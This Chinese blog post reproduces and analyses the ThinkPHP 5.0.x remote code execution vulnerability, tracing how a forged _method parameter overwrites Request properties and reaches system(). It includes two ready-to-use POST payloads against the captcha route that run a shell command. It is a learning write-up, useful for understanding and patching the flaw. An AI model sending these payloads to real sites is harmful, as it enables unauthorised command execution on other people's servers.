IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> Thinkphp5.0.0~5.0.23 RCE漏洞复现分析 -> 正文阅读

[PHP知识库]Thinkphp5.0.0~5.0.23 RCE漏洞复现分析

image-20211117223456251

漏洞概要

漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。

环境搭建:

Phpstudy:

  • OS: Windows
  • PHP: 7.3.4
  • ThinkPHP: 5.0.22

POC

http://xxxxxx.xxx/public/?s=captcha

Body
_method=__construct&filter[]=system&method=get&get[]=whoami
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

复现分析

POC 1

image-20211118172356063

调试分析,Thinkphp的程序是从App.php开始的,在App::run中,先通过$dispatch = self::routeCheck($request, $config);对路由进行检测

image-20211118164531151

在该方法中,又调用了Route::check方法,跟进

image-20211118164903693

存在$method = strtolower($request->method());,跟进method方法,进入了Request.php

image-20211118165239755

默认$method = false时进入分支条件

注意到:$this->method = strtoupper($_POST[Config::get('var_method')]);

这里的var_method对应_method,在Config.php

$method来自可控的 $_POST数组,而且在获取之后没有进行任何检查,直接把它作为 Request 类的方法进行调用,同时,该方法传入的参数是可控数据 $_POST 。也就相当于可以随意调用 Request 类的部分方法。

我们传入的参数:_method=__construct&filter[]=system&method=get&get[]=whoami

它会调用__construct方法,而该方法中有类属性覆盖功能

image-20211118174942348

那么在结束method方法时,我们需要返回参数$this->method为get

image-20211118163556291

继续分析

image-20211118225550588

进入了exec方法,?s=captcha就可以让$dispatch['type']是method

在 ThinkPHP5 完整版中,定义了验证码类的路由地址。程序在初始化时,会通过自动类加载机制,将 vendor 目录下的文件加载,这样在 GET 方式中便多了这一条路由。我们便可以利用这一路由地址,使得 $dispatch['type']等于 method ,从而完成 远程代码执行 漏洞。

进入Request::instance()->param()

image-20211118230712251

image-20211118230837911

$this->param通过array_merge将当前请求参数和URL地址中的参数合并。

跟进get方法

image-20211118231215186

由于之前的变量覆盖get有值

image-20211118232034784

所以会进入input方法

image-20211118232333297

它返回了get数组值,而$this->param也会有值

image-20211118232755497

接着我们再次进入input方法

image-20211118232920377

进入解析过滤器

image-20211118233244683

发现是通过$filter参数获取的方法,由之前的变量覆盖

image-20211118233508379

那么array_walk_recursive($data, [$this, 'filterValue'], $filter);会调用filterValue方法

image-20211118234154433

之后就通过回调函数进行RCE

该调用链的payload:

http://xxxxxx.xxx/public/?s=captcha
POST:
_method=__construct&filter[]=system&method=get&get[]=whoami

POC 2

image-20211119000336365

image-20211118234630188

跟进一下method()方法,这里的$method是true:

image-20211118235037615

继续跟进server方法

image-20211118235123426

这里也有input方法

return $this->server('REQUEST_METHOD') ?: 'GET';

这里的name为REQUEST_METHOD,第一个参数$this->server可以利用之前__construct()方法进行属性覆盖,设置server[REQUEST_METHOD]=whoami,之后会调用到getFilter(),于是分析思路和上一个相似,最终调用回调函数进行RCE

总结

来自一位师傅:

在这里插入图片描述

该复现过程基本是跟着Y4师傅来的,很多地方现在理解也不是很清楚,希望以后能继续完善吧!

继续努力!

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-22 12:08:09  更:2021-11-22 12:09:12 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 19:07:53-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码